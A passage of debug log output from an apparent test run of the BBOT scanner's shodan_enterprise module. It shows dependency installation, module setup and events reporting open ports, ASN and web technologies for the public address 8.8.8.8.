"ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-02 09:14:01,160 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-02 09:14:01,161 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-02 09:14:01,165 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:14:01,165 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. -2026-03-02 09:14:01,165 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" -2026-03-02 09:14:01,165 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-02 09:14:01,168 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/71ll2onw55f05795vraa -2026-03-02 09:14:01,936 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) -2026-03-02 09:14:01,936 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-02 09:14:01,936 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:14:01,937 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-02 09:14:01,937 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:14:01,937 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-02 09:14:01,937 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:14:01,938 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-02 09:14:01,938 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise -2026-03-02 09:14:02,008 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" -2026-03-02 09:14:02,008 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-02 09:14:02,008 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive -2026-03-02 09:14:02,009 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" -2026-03-02 09:14:02,010 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" -2026-03-02 09:14:02,010 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-02 09:14:02,010 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python -2026-03-02 09:14:02,011 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" -2026-03-02 09:14:02,011 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-02 09:14:02,011 [VERBOSE] bbot.scanner logger.py:151 Setting up modules -2026-03-02 09:14:02,011 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-02 09:14:02,012 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-02 09:14:02,012 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-02 09:14:02,012 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-02 09:14:02,012 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-02 09:14:02,012 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-02 09:14:02,013 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-02 09:14:02,013 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-02 09:14:02,013 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-02 09:14:02,013 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-02 09:14:02,013 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-02 09:14:02,014 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-02 09:14:02,014 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-02 09:14:02,014 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-02 09:14:02,014 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-02 09:14:02,014 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-02 09:14:02,015 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-02 09:14:02,015 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-02 09:14:02,015 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-02 09:14:02,015 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-02 09:14:02,015 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-02 09:14:02,016 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-02 09:14:02,016 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-02 09:14:02,016 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-02 09:14:02,016 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-02 09:14:02,016 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-02 09:14:02,017 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-02 09:14:02,017 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-02 09:14:02,017 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-02 09:14:02,017 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-02 09:14:02,017 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-02 09:14:02,017 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-02 09:14:02,018 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. -2026-03-02 09:14:02,018 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-02 09:14:02,018 [DEBUG] bbot base.py:111 Starting scan -2026-03-02 09:14:02,098 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_bl3r7r3mxq -2026-03-02 09:14:02,098 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops -2026-03-02 09:14:02,167 [VERBOSE] bbot.scanner logger.py:151 6 modules started -2026-03-02 09:14:02,167 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-02 09:14:02,167 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-02 09:14:02,169 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-03-02 09:14:02,268 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check -2026-03-02 09:14:02,269 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-03-02 09:14:02,270 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target -2026-03-02 09:14:02,270 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-02 09:14:02,272 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:14:02,272 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:14:02,273 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-02 09:14:02,273 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-02 09:14:02,274 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:14:02,275 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 09:14:02,275 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:14:02,276 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:14:02,277 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:14:02,278 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:14:02,279 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-02 09:14:02,281 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-02 09:14:02,281 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-02 09:14:02,282 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-02 09:14:02,282 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-02 09:14:02,282 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-03-02 09:14:02,283 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded -2026-03-02 09:14:02,283 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-03-02 09:14:02,283 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-02 09:14:02,283 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-02 09:14:02,381 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-02 09:14:02,382 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-02 09:14:02,383 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:14:02,383 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET -2026-03-02 09:14:02,383 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-02 09:14:02,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 09:14:02,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,385 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:14:02,385 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,385 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 09:14:02,385 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,386 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 09:14:02,386 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,386 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:14:02,387 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,387 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 09:14:02,387 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,388 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,388 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 09:14:02,388 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,388 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:14:02,389 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 09:14:02,389 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,389 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,389 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-02 09:14:02,390 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-02 09:14:02,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 09:14:02,390 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,391 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,391 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-02 09:14:02,391 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 09:14:02,391 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,392 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-02 09:14:02,392 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:14:02,392 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) -2026-03-02 09:14:02,392 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,393 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 09:14:02,393 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-02 09:14:02,393 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target -2026-03-02 09:14:02,393 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,394 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-02 09:14:02,394 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 09:14:02,394 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,394 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) -2026-03-02 09:14:02,395 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-03-02 09:14:02,395 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-03-02 09:14:02,395 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:14:02,395 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) -2026-03-02 09:14:02,396 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) in-scope because its main host matches the scan target -2026-03-02 09:14:02,396 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-02 09:14:02,397 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-02 09:14:02,397 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-02 09:14:02,397 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-02 09:14:02,397 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-03-02 09:14:02,398 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) -2026-03-02 09:14:02,398 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-03-02 09:14:02,398 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-03-02 09:14:02,398 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-02 09:14:02,399 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-02 09:14:02,399 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:14:02,399 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) -2026-03-02 09:14:02,400 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-03-02 09:14:02,400 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) -2026-03-02 09:14:02,400 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) because precheck succeeded -2026-03-02 09:14:02,400 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check -2026-03-02 09:14:02,401 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-03-02 09:14:02,401 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) -2026-03-02 09:14:02,401 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) because precheck succeeded -2026-03-02 09:14:02,485 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-02 09:14:02,486 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 09:14:02,486 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-02 09:14:02,487 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 09:14:02,487 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-02 09:14:02,488 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-02 09:14:02,488 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-02 09:14:02,488 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-02 